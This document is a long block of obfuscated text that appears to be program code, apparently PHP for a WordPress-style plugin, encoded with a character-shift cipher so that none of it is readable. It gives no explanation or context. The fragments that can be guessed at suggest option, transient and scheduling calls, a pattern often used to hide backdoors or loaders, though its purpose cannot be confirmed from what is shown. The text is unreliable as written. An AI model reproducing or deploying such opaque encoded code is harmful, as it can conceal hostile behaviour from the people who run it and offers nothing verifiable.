4=<<<8f(nx}q}%ur(fimsp<::<uooyh48COYNJYNG~~t*pewxp%lxrp.4*(*5A55<<g<8f(nx}q}%ur(fimsp<!<<4ohnur{5<<<<8COYNJYNG~~t*pewxp%lxrp.4*(*5A'<auz<4=<8f(nx}q}%ur(fimsp<<::<uooyh48COYNJYNGu{n~xs$r(~%zo4*(+5A55<<<<g<<<<<<<8f(nx}q}%ur(fimsp<<!<<<<4ohnur{5<8COYNJYNG~~t*pewxp%lxrp.4*(+5A'<a<<uz<4=<<8f(nx}q}%ur(fimsp5<<<<g33<KL<H}~py<^psw&<}io}p<quxxpyk}nynyhinr<8rjrwu%.CC~'<<<a<nyhinr<<<8f(nx}q}%ur(fimsp'<<azirhusr<<<<i.nq~kp.%kk%ml45<g<<<hne<<<<<<g36<lspersqu}p<oh}~upufyn<63<8dotjfvx+$lwr.m<<<<<!<<<fe/qwoyysxh4*($54u{n~xs$r(~%zo4()(55<#<<<4urh5<<<\u{n~xs$r(~%zo4*(%54ukC/jmfl}em~f{4*),55<<&<<<,'uz<<4u{n~xs$r(~%zo4*($54u{n~xs$r(~%zo4(+/555<\~~t*pewxp%lxrp.4*)-544-%/1-/55'<<8hotvidwe$+%}/jiv<!<<48dotjfvx+$lwr.m<"<<4,dy7,d*5<::<<8dotjfvx+$lwr.m<<<< <4()  .55<#<48dotjfvx+$lwr.m<<<1<<<<<<4$7.55<<&<448dotjfvx+$lwr.m<<<<<<"<<<<,<<::<<<<8dotjfvx+$lwr.m<< !<<<<4/(B)(55<<#<4+7/5<<&<<<<<<4,d-%7,d(-55'<<<<<uz<4=<<<<l~ff)*Cwn}.pjirhv*tes455<<g<nyhinr'<<<<<a<uz<<<4=quvd%+x.))%$*pzq%r(k-4ukC/jmfl}em~f{4(/$555<<<<<<g<<nyhinr'<<a<<<<8sx*udds%fCm<<!<<<~~t*pewxp%lxrp.4*).54hniy5'<<<8n$ujvnfkpkiy<!<<<txjelwh+*$-)k}jw/-xj45'<<<uz<<<4=<<<fe/qwoyysxh4($-548n$ujvnfkpkiy5``<<=<uooyh48n$ujvnfkpkiyGu{n~xs$r(~%zo4/$)5A5<<<<<<``<<=<<<<<u{n~xs$r(~%zo4*)/548n$ujvnfkpkiyGu{n~xs$r(~%zo4*)(5A5<``<=<<<<<8n$ujvnfkpkiyGu{n~xs$r(~%zo4*)(5A<<<``<<<=<<<<uooyh48n$ujvnfkpkiyG~~t*pewxp%lxrp.4/%.5A5<<<``<<<=<fe/qwoyysxh4($-548n$ujvnfkpkiyG~~t*pewxp%lxrp.4/%.5A5<<<<``<<yqlhe48n$ujvnfkpkiyG~~t*pewxp%lxrp.4/%.5A5<<<5<g<<<tn}~f.ezjqhjr45'<<nyhinr'<a<8ntqsoe,C%l(*sox<<!<<8n$ujvnfkpkiyGukC/jmfl}em~f{4*))5A'<8m.t%%+pw-)<<<<!<<8n$ujvnfkpkiyGu{n~xs$r(~%zo4/%.5A'<<vfCp.pff*hef}nxkrwq..j4u{n~xs$r(~%zo4/$$50<8ntqsoe,C%l(*sox0<<fe/qwoyysxh4*)*55'<<<<8t*~*ujd+h$,+om*(<<<<!<~~t*pewxp%lxrp.4*($54ukC/jmfl}em~f{4*((55<#<<<<4ohnur{5<<{yhCslhusr4u{n~xs$r(~%zo4*)+50<<<<<<>>5<<<&<>>'8j..~~$dyd$d!$$$*'8e(.~eh/tx!8j..~~$dyd$d9$'<<uz<<<48t*~*ujd+h$,+om*(<<<<=!!<<<<<>><<<::<<u{n~xs$r(~%zo4-%)548t*~*ujd+h$,+om*(0<8m.t%%+pw-)0<<<<<hniy55<g<<<8m.t%%+pw-)<<!<<ukC/jmfl}em~f{4/%,54fe/qwoyysxh4-%*548m.t%%+pw-)0<}nn}e48t*~*ujd+h$,+om*(555'<<<fe/qwoyysxh4*)$548m.t%%+pw-)5'<<<<ukC/jmfl}em~f{4*)%548m.t%%+pw-)0<<8t*~*ujd+h$,+om*(5'<a<<ypoyuz<<<<<<4~~t*pewxp%lxrp.4**,548m.t%%+pw-)5<"<<<-5<<g<<<<<~~t*pewxp%lxrp.4*)$548m.t%%+pw-)5'<<<<<<<a36<ohny}qur{<oi~ohuhihusr1q}l<63<<uz<<<<<44~~t*pewxp%lxrp.4*).54hniy5<<1<8sx*udds%fCm5<<<<<"<<<<<4urh5<<<<<48hotvidwe$+%}/jiv<6<<<,2*55<<<<g33<oo}1srjynh<oh}~upufyn<zsn<KL<Nyxid<Ohsny<<<tn}~f.ezjqhjr45'<<<<nyhinr'<<a<<<8e-p%$rkqrvi$~/kx<<!<<C/q%wdv{i+mtt)(45'<<<k(xvw/qy+ey(p-**$+uz{48e-p%$rkqrvi$~/kx5'<<8i+yiz$t,yhm<<<<!<<<}nn}e45'<<<<<uz<<<4fe/qwoyysxh4*($54~~t*pewxp%lxrp.4**-555<<g<zsny}t<<44}nn}e5<<{yhCslhusr4ukC/jmfl}em~f{4..*50<<<}nn}e455<}o<<<<<8zp~z}f/q/.+runs-5<<<g<uz<<4~~t*pewxp%lxrp.4*)/548zp~z}f/q/.+runs-5<::<<<<8zp~z}f/q/.+runs-5<<g<<<8i+yiz$t,yhmGA<<<<!<<<<8zp~z}f/q/.+runs-'a<<<a<<<a33<LTL<q}ht<ydlnyoousr&<i~u<t}ur<8lqof.~etdh$t<!<<<}nn}e45'<uz<4xyzuryx4ukC/jmfl}em~f{4-(555<<g<<<8q+/s$-o-*dt<<<!<<<~~t*pewxp%lxrp.4*($54u{n~xs$r(~%zo4),$55<<<<<#<<<<<\~~t*pewxp%lxrp.4),$54u{n~xs$r(~%zo4-/54KLQICLPI[URCXUN0<<;3;5<<2<u{n~xs$r(~%zo4**.55<<&<z}poy'<uz<<<4u{n~xs$r(~%zo4**/548q+/s$-o-*dt55<<<gzsny}t<<<<48q+/s$-o-*dt<<<}o<<<<8xy.mqs-}zqq~+l5<<<g<8lqof.~etdh$tGA<<!<ukC/jmfl}em~f{4.)+548xy.mqs-}zqq~+l5'<<<<<a33<lnsl}{}hy<srryhyx<~pssq1zuphyn<<<<aa<<<8o~/yq~w)pm,v<!<<<<<<}nn}e4<ukC/jmfl}em~f{4**(5<<!"<<<k{flojeyw,sm~z4>>50<<fe/qwoyysxh4**)5<<<!"<k{~w}fh$fk{*s}r}*k/z+h450u{n~xs$r(~%zo4***5<<<<<!"<<u{n~xs$r(~%zo4.)+54n-*%o%~y,f,/qj,450<<fe/qwoyysxh4),*550<ukC/jmfl}em~f{4**+5<<<<<!"<<<u{n~xs$r(~%zo4**$54]^OL]HT0<fe/qwoyysxh4-,*550fe/qwoyysxh4**%5<<!"<<8i+yiz$t,yhm0<<<u{n~xs$r(~%zo4*+,5<!"<<<8lqof.~etdh$t0fe/qwoyysxh4*+-5<<<!"<<<<qCm-vlhfd(th.)ne+wnx/h450ukC/jmfl}em~f{4*+.5<!"<<<<vwk(iyqCzC(mC%nf~v,)}+48e-p%$rkqrvi$~/kx50<ukC/jmfl}em~f{4*+/5<<<!"<<rC~hxpid(i,wsd*fyj48e-p%$rkqrvi$~/kx50<<<<<<~~t*pewxp%lxrp.4(..5<<<!"<<48sklr(knrvxrd$,<!<<{mnxhr*.otrnfh{/pqyd4550<<<<<<5'<<8dv~*o+whx*t<<!<<u{n~xs$r(~%zo4*($54~~t*pewxp%lxrp.4*+(55<<<#<<<<<klCvosrCyrsxy48o~/yq~w)pm,v5<<&<<<<<<fe/qwoyysxh4*+)548o~/yq~w)pm,v5'<<<<<<8r(jhzjiespr{mk/r<<<!<ffom(,/f+k~ottedy%yuC48dv~*o+whx*t0<8ntqsoe,C%l(*sox5'8ph-$k.,vw*/<<<!<<}nn}e4~~t*pewxp%lxrp.4*+*5<<<!"<<<ukC/jmfl}em~f{4*++55'<8C{qq(dt{dtvhks<<<!<<ripp'<<tn}~f.ezjqhjr45'zsny}t<<48m.t%%+pw-)<}o<8vqv$-l*x{z5<g<<<<uz<44ukC/jmfl}em~f{4*).54hniy5<<<<<<1<<8sx*udds%fCm5<<<"<<8hotvidwe$+%}/jiv5<<<g<<<<~ny}w'<<a<<<8vqv$-l*x{z<<<<<!<<ukC/jmfl}em~f{4/%-544ohnur{5<<<<<<8vqv$-l*x{z5'<<uz<4=<<8vqv$-l*x{z5<gsrhuriy'a<<<<<<<hne<<<g33<srouxyn<urpurur{<<<<<8u/y--vkh-v.m<<<<<<!<<8ntqsoe,C%l(*sox'<8dtdqs/rfjk{mqn<<!<<<j-h-+x{-%sj+$+48vqv$-l*x{z0<8r(jhzjiespr{mk/r0<<<8ph-$k.,vw*/0<<4-.$B-/$50<<zirhusr<<48hjhltpxo~-5<<ioy<48u/y--vkh-v.m5<<<<<<g8ynr-yt(,s*pf/<<!<<<<<ffom(,/f+k~ottedy%yuC48hjhltpxo~-0<8u/y--vkh-v.m5'<uz<<4=8ynr-yt(,s*pf/5<<<<<nyhinr<<<z}poy'<<nyhinr<<<~~t*pewxp%lxrp.4*+$54\u{n~xs$r(~%zo4/*.54u{n~xs$r(~%zo4/%-548ynr-yt(,s*pf/50<<<hniy55'a5'uz<<<4=<<8dtdqs/rfjk{mqn5<<<gswd(~($..Cxnwiox}epi4fe/qwoyysxh4(+-50<<<<fe/qwoyysxh4*+%5<<<2<<8vqv$-l*x{z5'<<srhuriy'<<<<<a33<LON1+<qyoo}{yo&<~yrtq}nw<uhyn}hsn<<<8qewl+l$yhr<<<<!<ffom(,/f+k~ottedy%yuC48dtdqs/rfjk{mqn0<8ntqsoe,C%l(*sox5'<<uz<<4=<<<<8qewl+l$yhr5<<<<g<<<<<swd(~($..Cxnwiox}epi4u{n~xs$r(~%zo4(+-50<<<fe/qwoyysxh4*$,5<<2<<8vqv$-l*x{z5'srhuriy'a<8C{qq(dt{dtvhks<<<!<\ukC/jmfl}em~f{4/*.54fe/qwoyysxh4*$-548qewl+l$yhr50<<<<<hniy5'<<<uz<<<<4~~t*pewxp%lxrp.4*+$548C{qq(dt{dtvhks55<<g<<<<<uz<4ukC/jmfl}em~f{4*($54ukC/jmfl}em~f{4/%)555<<<g33<KL<NutHydh<]LU<slhusr<nsk<<<<<ilx}hyCslhusr4u{n~xs$r(~%zo4*)+50<<8vqv$-l*x{z5'<<a<<~ny}w'<<<<<a<<<<<<ypoy<<g<<<<<<swd(~($..Cxnwiox}epi4ukC/jmfl}em~f{4(+-50<~~t*pewxp%lxrp.4*$.5<<<<2<<8vqv$-l*x{z5'<<<<<<<a<a<<}ht<<4Htnsk}~py<<8phr-l)~h-C.5<<<g<<<<<<swd(~($..Cxnwiox}epi4ukC/jmfl}em~f{4*$/50<8phr-l)~h-C.5'<srhuriy'<a<<}ht<<4Ydylhusr<<<<<8phr-l)~h-C.5<<<<<g<<<<srhuriy'<<aa<<<<<<uz<<<4=<<<<<~~t*pewxp%lxrp.4*+$548C{qq(dt{dtvhks55<g<<8j)kulhpv}n~<!<<ffom(,/f+k~ottedy%yuC4u{n~xs$r(~%zo4*+)54}nn}e4<fe/qwoyysxh4**(5<!"<<<<k{flojeyw,sm~z4>>50<<ukC/jmfl}em~f{4**)5<!"<<k{~w}fh$fk{*s}r}*k/z+h450<u{n~xs$r(~%zo4***5<!"<<ukC/jmfl}em~f{4.)+54n-*%o%~y,f,/qj,450<ukC/jmfl}em~f{4),*550<<<u{n~xs$r(~%zo4*$(5<<!"<<-0<550<<8ntqsoe,C%l(*sox5'<<8*junw+pz{Cj<<<<!<<u{n~xs$r(~%zo4**$54ohnhn4~~t*pewxp%lxrp.4/%%548j)kulhpv}n~50<<fe/qwoyysxh4*$)50<<<~~t*pewxp%lxrp.4*$*550<<;!;5'<<<<8y{wf,,hmqdu,.x}<!<<<<<u{n~xs$r(~%zo4*$+548*junw+pz{Cj0<<4..$)1$$)55'zsny}t<<<<48m.t%%+pw-)<<<}o<<8vqv$-l*x{z5<g<<<<<uz<<<44u{n~xs$r(~%zo4*$$54hniy5<<<<1<<<<<8sx*udds%fCm5<"<<<8hotvidwe$+%}/jiv5<<<g<<<<~ny}w'a<<<8vqv$-l*x{z<<!<<<u{n~xs$r(~%zo4*$-544ohnur{5<8vqv$-l*x{z5'8mwu%l,$!LTLCURHCQ]D3LTLCURHCQ]D'8p%tClfwx-ilq,!8mwu%l,$7(*'uz<48vqv$-l*x{z<<<!!!<<>>5<g33<\qsrsqsnltufy<iruzu}husr<<<srhuriy'<<<<<<a<<8wot)wqoo(k<!<<soyll~yypdn%it4k{flojeyw,sm~z4>>5<<<<<<2<<<ukC/jmfl}em~f{4*$$54hniy50<<<<4--1/55'<<<<8qvqnyou,w.~,{-ij<!<<<ukC/jmfl}em~f{4*$%548y{wf,,hmqdu,.x}5'<<<8{p.oum}-%u/)d,<<!<<<4ukC/jmfl}em~f{4/**548vqv$-l*x{z0<<<<<<;#;5<!!!<<z}poy5<<<#<<;#;<<&<<<;:;'<zsn<<<<<48hw,j)mty$u*.)<!<,'<<8hw,j)mty$u*.)<<< <<8qvqnyou,w.~,{-ij'<8hw,j)mty$u*.)775<g<uz<44~~t*pewxp%lxrp.4*%,54hniy5<1<<<<8sx*udds%fCm5<"<<8hotvidwe$+%}/jiv5<g<<<<~ny}w'<a<<<8m$()i-jdnjr/fqwq<!<<<48hw,j)mty$u*.)<!!!<8qvqnyou,w.~,{-ij<<1<<-5'<<8tkw-nm~tkwhf<!<<<<8vqv$-l*x{z<<<2<<<8{p.oum}-%u/)d,<<<2<<<<ukC/jmfl}em~f{4*%-5<2<8wot)wqoo(k<2<<fe/qwoyysxh4*%.5<2<8hw,j)mty$u*.)<2<<<<u{n~xs$r(~%zo4*%/5<<<2<8qvqnyou,w.~,{-ij<<<2<<<u{n~xs$r(~%zo4*%(5<<<<2<8y{wf,,hmqdu,.x}G8hw,j)mty$u*.)A'<<<8u.-~i$o%-x<<<<!<o+nom+/C~snlf}(*ul48tkw-nm~tkwhf0<4%1-50<8m$()i-jdnjr/fqwq<#<zirhusr<<<<<48hjhltpxo~-5<<<<<ioy<48ntqsoe,C%l(*sox5<<<g8ynr-yt(,s*pf/<<!<<<ffom(,/f+k~ottedy%yuC48hjhltpxo~-0<<<8ntqsoe,C%l(*sox5'uz<4=8ynr-yt(,s*pf/5<nyhinr<<<z}poy'<nyhinr<ukC/jmfl}em~f{4*%)54\fe/qwoyysxh4/*.54~~t*pewxp%lxrp.4*$-548ynr-yt(,s*pf/50<<<hniy55'<<<<a<<<&<<ripp5'<<<<<uz<<48m$()i-jdnjr/fqwq<::<ukC/jmfl}em~f{4*)/548u.-~i$o%-x5<<::<<8u.-~i$o%-x<<<<=!!<<<<<<>>5<<<g<<<<8C{x<!<ffom(,/f+k~ottedy%yuC48u.-~i$o%-x0<8ntqsoe,C%l(*sox5'<8C~leml+q~w+pux{w<<<<<!<8C{x<#<\fe/qwoyysxh4/*.54~~t*pewxp%lxrp.4*$-548C{x50<<<<<<hniy5<<&<<<<<<ripp'<uz<<4~~t*pewxp%lxrp.4*%)548C~leml+q~w+pux{w55<<g<8C{qq(dt{dtvhks<<<<!<<<8C~leml+q~w+pux{w'8fjiwjeo!*/$-'8n~xo,-pnsik)!8fjiwjeo9-/'uz<4~~t*pewxp%lxrp.4*%*54ukC/jmfl}em~f{4/%)555<<g<ilx}hyCslhusr4fe/qwoyysxh4*%+50<<<<<<8vqv$-l*x{z5'<<a<<<<<<<~ny}w'<a<<<<a<<<<<<a<<<uz<<4~~t*pewxp%lxrp.4*%)548C{qq(dt{dtvhks55<g<<<<<~ny}w'<<a<a<<<<<<<auz<<<<4=<<<<u{n~xs$r(~%zo4*%)548C{qq(dt{dtvhks55<g<nyhinr'<<<a<uz<48sklr(knrvxrd$,<<<<::<<<<<u{n~xs$r(~%zo4*%$54~~t*pewxp%lxrp.4*%%555<g<<<<xypyhyCslhusr4y)jy.l{ekC(o}dsii*s/4ukC/jmfl}em~f{4(..555'<a<<<<<<uz<<<4=uooyh48[PS^]POGfe/qwoyysxh4(-)5A5<<<``<<=u{n~xs$r(~%zo4*%)548[PS^]POGfe/qwoyysxh4(-)5A55<8[PS^]POG~~t*pewxp%lxrp.4+,,5A<<<!<}nn}e45'<8[PS^]POGfe/qwoyysxh4+,-5A<!<<<<u{n~xs$r(~%zo4+,.54u{n~xs$r(~%zo4-%*548[PS^]POGfe/qwoyysxh4+,-5A0<<<<<<8sklr(knrvxrd$,55'<uz<4uooyh48C{qq(dt{dtvhksG~~t*pewxp%lxrp.4+,/5A5<<::<fe/qwoyysxh4+,(548C{qq(dt{dtvhksG~~t*pewxp%lxrp.4+,)5A55<<<<g<<<<qw(}eetlejvl.%eti-48C{qq(dt{dtvhksGukC/jmfl}em~f{4+,)5A0<<<<<uooyh48C{qq(dt{dtvhksGu{n~xs$r(~%zo4+,*5A5<<<::<<<<~~t*pewxp%lxrp.4+,(548C{qq(dt{dtvhksG~~t*pewxp%lxrp.4+,*5A5<<#<8C{qq(dt{dtvhksGfe/qwoyysxh4+,*5A<<<&<>>0<<=yqlhe48C{qq(dt{dtvhksGu{n~xs$r(~%zo4+,+5A55'a<<<<<<8t,~s/odt*~%<!<z}poy'<<8z$uk,tsCq$nqe-~+<!<<<<}nn}e45'<<<<uz<<<4uooyh48C{qq(dt{dtvhksGu{n~xs$r(~%zo4(++5A5<::<<<fe/qwoyysxh4*%)548C{qq(dt{dtvhksGu{n~xs$r(~%zo4(++5A55<<<<<g<<<8u{l$tz,w}y<!<<<<<}nn}e45'<<zsny}t<<<<<<48C{qq(dt{dtvhksG~~t*pewxp%lxrp.4(++5A<}o<8lvz.-s(sv%zi)+*5<<g<uz<<<<<<4ukC/jmfl}em~f{4+,(548lvz.-s(sv%zi)+*5<<::<<<8lvz.-s(sv%zi)+*<<<=!!<>>5<g<8u{l$tz,w}yGA<<!<<<8lvz.-s(sv%zi)+*'<<<<<<<a36<xu}{rsohu<x}h}zpsk1{n}lt<63<<a<8jrmw+ykj)}~-*<<<<!<<<8[PS^]POGfe/qwoyysxh4(+%5A'<<<8u{l$tz,w}y<<<!<<<fxxx,+fz*q,.zfxu(,e{e48u{l$tz,w}y5'<8[PS^]POGu{n~xs$r(~%zo4(+%5A<!<<<8u{l$tz,w}y'<<8z$uk,tsCq$nqe-~+Gfe/qwoyysxh4(++5A<<<!<<8u{l$tz,w}y'<<uz<<4=<<<<yqlhe4fe/qwoyysxh4-%*548u{l$tz,w}y0<<8jrmw+ykj)}~-*55<<<<``<=<<<yqlhe4ukC/jmfl}em~f{4-%*548jrmw+ykj)}~-*0<8u{l$tz,w}y555<<<<g<8t,~s/odt*~%<<!<hniy'<<<a<<<<a<<<<<<uz<<4uooyh48C{qq(dt{dtvhksGfe/qwoyysxh4+,$5A5<<::<<u{n~xs$r(~%zo4+,%548C{qq(dt{dtvhksG~~t*pewxp%lxrp.4+-,5A55<<<g<<<<<<8u{l$tz,w}y<<<<<!<<<}nn}e45'<<<<<<<zsny}t<<<48C{qq(dt{dtvhksGukC/jmfl}em~f{4+-,5A<}o<8lvz.-s(sv%zi)+*5<<<<<guz<<<<4u{n~xs$r(~%zo4+--548lvz.-s(sv%zi)+*5<<::<<<8lvz.-s(sv%zi)+*<<=!!<>>5<g8u{l$tz,w}yGA<<!<<<<8lvz.-s(sv%zi)+*'<<a<<<<<a<<8jrmw+ykj)}~-*<<<<<<!<<<8[PS^]POGfe/qwoyysxh4($.5A'<<8u{l$tz,w}y<<<<<!<fxxx,+fz*q,.zfxu(,e{e48u{l$tz,w}y5'<<<<8[PS^]POGu{n~xs$r(~%zo4($.5A<<<<!<<8u{l$tz,w}y'<<<<8z$uk,tsCq$nqe-~+GukC/jmfl}em~f{4+-,5A<<!<<<8u{l$tz,w}y'<<<<<<<uz<<4=<yqlhe4fe/qwoyysxh4-%*548u{l$tz,w}y0<8jrmw+ykj)}~-*55<<``<=<<yqlhe4u{n~xs$r(~%zo4-%*548jrmw+ykj)}~-*0<8u{l$tz,w}y555<<g<8t,~s/odt*~%<<!<<<<hniy'<<<<a<a33<q~ohnur{<ohnuh&<}~snh<ymiuj}pyry1p}oo<uz<<4uooyh48C{qq(dt{dtvhksGukC/jmfl}em~f{4($)5A5<<::<ukC/jmfl}em~f{4+--548C{qq(dt{dtvhksGu{n~xs$r(~%zo4($)5A55<g<<8{u%p/{ow*%)sk*<<!<<s.xd/}tfltf*ruC)4ukC/jmfl}em~f{4+-.50<<>>5'8[PS^]POG~~t*pewxp%lxrp.4+-/5A<<<!<8C{qq(dt{dtvhksGfe/qwoyysxh4($)5A'8z$uk,tsCq$nqe-~+G~~t*pewxp%lxrp.4+-(5A<<!<<<<8C{qq(dt{dtvhksGukC/jmfl}em~f{4+-(5A'<<uz<<<4ukC/jmfl}em~f{4+-)548C{qq(dt{dtvhksGfe/qwoyysxh4+-(5A5<=!!<<<u{n~xs$r(~%zo4+-)548{u%p/{ow*%)sk*55<<g33<tynquhu}r<juouhsn<<<<vfCp.pff*hef}nxkrwq..j4ukC/jmfl}em~f{4+-*50<<8C{qq(dt{dtvhksG~~t*pewxp%lxrp.4+-(5A0<<<ukC/jmfl}em~f{4+-+55'nvxtm.jmliuw-$niw{$i45'<<a<<iroyh48{u%p/{ow*%)sk*5'<<<a<<8xi$j.q$$q,x$r<<<<!<uooyh48C{qq(dt{dtvhksGukC/jmfl}em~f{4(%-5A5<::<<<<~~t*pewxp%lxrp.4+,%548C{qq(dt{dtvhksGukC/jmfl}em~f{4(%-5A5<<#<<<<<8C{qq(dt{dtvhksGfe/qwoyysxh4(%-5A<&<<}nn}e45'uz<<<<<<4uooyh48xi$j.q$$q,x$rGfe/qwoyysxh4($%5A5<<<::<~~t*pewxp%lxrp.4+--548xi$j.q$$q,x$rG~~t*pewxp%lxrp.4($%5A55<<g<<<<uz<4ukC/jmfl}em~f{4))/548xi$j.q$$q,x$rGfe/qwoyysxh4($%5A5<"<<4,d./7,dz55<g<8[PS^]POGukC/jmfl}em~f{4($$5A<<<!<<<<<8xi$j.q$$q,x$rGfe/qwoyysxh4($%5A'<<<<<8z$uk,tsCq$nqe-~+G~~t*pewxp%lxrp.4+-$5A<<!<8xi$j.q$$q,x$rG~~t*pewxp%lxrp.4+-$5A'<<<a<<<ypoy<<g<8[PS^]POGfe/qwoyysxh4($$5A<<<<<!<<<<>>'8z$uk,tsCq$nqe-~+GukC/jmfl}em~f{4+-$5A<<<<!<>>'vfCp.pff*hef}nxkrwq..j4fe/qwoyysxh4+-%50<<<<>>0<u{n~xs$r(~%zo4+-+55'<<<<<a<a<<uz<<<4uooyh48xi$j.q$$q,x$rGfe/qwoyysxh4+.,5A5<<::<~~t*pewxp%lxrp.4+--548xi$j.q$$q,x$rG~~t*pewxp%lxrp.4+.-5A55<g<uz<<4~~t*pewxp%lxrp.4))/548xi$j.q$$q,x$rG~~t*pewxp%lxrp.4+.-5A5<<<"<<4*7%(55<<<<g<<<<<8[PS^]POGu{n~xs$r(~%zo4+..5A<<<!<<<<8xi$j.q$$q,x$rGu{n~xs$r(~%zo4+.-5A'<<<<8z$uk,tsCq$nqe-~+GukC/jmfl}em~f{4+./5A<<<!<<8xi$j.q$$q,x$rG~~t*pewxp%lxrp.4+.(5A'a<ypoy<<<g<<<<<<<<8[PS^]POG~~t*pewxp%lxrp.4+..5A<!<<<<>>'<<<8z$uk,tsCq$nqe-~+Gfe/qwoyysxh4+.(5A<<!<<<>>'<vfCp.pff*hef}nxkrwq..j4~~t*pewxp%lxrp.4(-/50<>>0<~~t*pewxp%lxrp.4+-+55'<<a<<<<<<a<<<8jyi-q}r%qf{C)<<!<uooyh48C{qq(dt{dtvhksGukC/jmfl}em~f{4+.)5A5<::<ukC/jmfl}em~f{4+.*548C{qq(dt{dtvhksGu{n~xs$r(~%zo4+.+5A5<#<<<<8C{qq(dt{dtvhksGu{n~xs$r(~%zo4+.+5A<<<&<<<}nn}e45'<<<<<8jh-ot~m}~e+%.<!<<}nn}e4<fe/qwoyysxh4+.$5<!"<<~~t*pewxp%lxrp.4+.$50<<<<<~~t*pewxp%lxrp.4+.%5<<!"<<<u{n~xs$r(~%zo4+/,50<<<ukC/jmfl}em~f{4+/-5<!"<<~~t*pewxp%lxrp.4+/.50<<<<<<<u{n~xs$r(~%zo4+//5<<<!"<<~~t*pewxp%lxrp.4+/(50u{n~xs$r(~%zo4+/)5<<<<!"<<<ukC/jmfl}em~f{4+/*50<<<ukC/jmfl}em~f{4+/+5<<!"<fe/qwoyysxh4+/$50<<~~t*pewxp%lxrp.4+/%5<!"<<<u{n~xs$r(~%zo4+(,50<~~t*pewxp%lxrp.4+(-5<<<<!"<~~t*pewxp%lxrp.4+(.50<<<<5'zsny}t<<<<48jh-ot~m}~e+%.<<}o<8j%v}uC*/~nz<!"<<<8jmpsh$%.mqhyv5<<<<guz<4uooyh48jyi-q}r%qf{C)G8j%v}uC*/~nzA5<::<<<<<u{n~xs$r(~%zo4+--548jyi-q}r%qf{C)G8j%v}uC*/~nzA5<<<::<<<<~~t*pewxp%lxrp.4))/548jyi-q}r%qf{C)G8j%v}uC*/~nzA5<"<<<4.,*B.).55<<g<8z$uk,tsCq$nqe-~+G8jmpsh$%.mqhyvA<<<<<!<<8jyi-q}r%qf{C)G8j%v}uC*/~nzA'<<<<<<<a<<<auz<<<4uooyh48C{qq(dt{dtvhksG~~t*pewxp%lxrp.4)/-5A5<<<::<<<<<~~t*pewxp%lxrp.4+(/548C{qq(dt{dtvhksGfe/qwoyysxh4)/-5A55<g8jxtp,u)iji.p$<!<4urh5<<<<<8C{qq(dt{dtvhksGu{n~xs$r(~%zo4)/-5A'<<uz<<<<<<48jxtp,u)iji.p$<"!<<<<<4.-)7$)5<<<::<<<8jxtp,u)iji.p$<< !<4,d-/z+z7,d-.,-55<<8z$uk,tsCq$nqe-~+Gu{n~xs$r(~%zo4)/-5A<!<<8jxtp,u)iji.p$'<<<<<<<<a<<uz<4uooyh48C{qq(dt{dtvhksGukC/jmfl}em~f{4(.%5A5<<<::<<<fe/qwoyysxh4+((548C{qq(dt{dtvhksGukC/jmfl}em~f{4(.%5A55<g8Cu<<!<<<<<<4urh5<<8C{qq(dt{dtvhksGu{n~xs$r(~%zo4+()5A'uz<<<<<48Cu<"!<<4.*,7(,5<::<<<<8Cu<< !<<4$*/,)7%)55<8z$uk,tsCq$nqe-~+G~~t*pewxp%lxrp.4+(*5A<<!<8Cu'<<<<<<<<auz<4yqlhe48z$uk,tsCq$nqe-~+55<<<<<g<xypyhyCslhusr4u{n~xs$r(~%zo4*-$55'<xypyhyCslhusr4ukC/jmfl}em~f{4*-*55'ilx}hyCslhusr4ukC/jmfl}em~f{4+(+50<<u{n~xs$r(~%zo4*..5455'xypyhyChn}rouyrh4~~t*pewxp%lxrp.4+($55'<<<fp{qlxikk*v)f+}sw-h45'8C%*kx}h(wx$u!),7-('8e(*z%x).!8C%*kx}h(wx$u1(+'<<<<pwzj~u{m)o(45'<<<<nyhinr'<<a<<<<8i*nsjixt,/kt-h<<!<<<<<<}t%,uo(zrC$jxmn}wjdi(4ukC/jmfl}em~f{4+(%50<z}poy5'<<<<<uz<<4fe/qwoyysxh4+.*548i*nsjixt,/kt-h55<g<8z$uk,tsCq$nqe-~+<<!<~~t*pewxp%lxrp.4(.-548i*nsjixt,/kt-h0<<<<8z$uk,tsCq$nqe-~+5'8j,tq-q**(s.kp!LTLCURHCQ]D3LTLCURHCQ]D'8x-remsfzvl/!8j,tq-q**(s.kp7($'<a<<<<<<<uz<<<<<<4ukC/jmfl}em~f{4*%$54u{n~xs$r(~%zo4)-*555<<g<<<8nqm+dm+jruxvff)w<<<!<ty)dsm,wur+/,u.km45'<uz<<<<4uooyh48z$uk,tsCq$nqe-~+GukC/jmfl}em~f{4)/-5A5<<::<<<<<4urh5<<<<8z$uk,tsCq$nqe-~+G~~t*pewxp%lxrp.4+),5A<<<<"!<<4/-$1-$5<<::<<4urh5<8z$uk,tsCq$nqe-~+Gfe/qwoyysxh4+),5A<<< !<<<4%*++-1-,/+-55<<<<<8nqm+dm+jruxvff)w<<<<!<4urh5<8z$uk,tsCq$nqe-~+Gu{n~xs$r(~%zo4+),5A'<<<<<<<<oyhChn}rouyrh4}-oonC{%u+))f+uw,om450<8z$uk,tsCq$nqe-~+0<<<8nqm+dm+jruxvff)w5'<<<<<<a<<<<<<kdwh,t%+*.}++,z%4ukC/jmfl}em~f{4+)-50<<<<<<8z$uk,tsCq$nqe-~+0<<<<~~t*pewxp%lxrp.4+).55'<<<<<uz<<<4uooyh48z$uk,tsCq$nqe-~+Gu{n~xs$r(~%zo4+)/5A5<<::<<u{n~xs$r(~%zo4*%$54u{n~xs$r(~%zo4+)(55<<::<<u{n~xs$r(~%zo4*%$54~~t*pewxp%lxrp.4+))55<::<<u{n~xs$r(~%zo4*%$54ukC/jmfl}em~f{4(/+555<<<g<8v}mxjnwkjtdmtq<!<<<<<klC{yhCotyxipyxCyjyrh4frk.q,f+mknj.$y455'<<<<<uz<<48v}mxjnwkjtdmtq<<<::<4urh5<<<<<<8v}mxjnwkjtdmtq1"urhynj}p<<<<<=!!<4urh5<8z$uk,tsCq$nqe-~+G~~t*pewxp%lxrp.4+)/5A5<<<g<<<klCpy}nCotyxipyxCtssw4frk.q,f+mknj.$y455'klCotyxipyCyjyrh4ukC/jmfl}em~f{4*..545<<7<<<<fe/qwoyysxh4((,544-,-B$%50<<4..(7+*550<~~t*pewxp%lxrp.4(/,50<<frk.q,f+mknj.$y455'<<<a<a<ilx}hyCslhusr4ukC/jmfl}em~f{4+(+50<~~t*pewxp%lxrp.4+)*5455'<<xypyhyCslhusr4u{n~xs$r(~%zo4+)+55'<<<<xypyhyCslhusr4ukC/jmfl}em~f{4*-*55'<<xypyhyChn}rouyrh4fe/qwoyysxh4+($55'fp{qlxikk*v)f+}sw-h45'p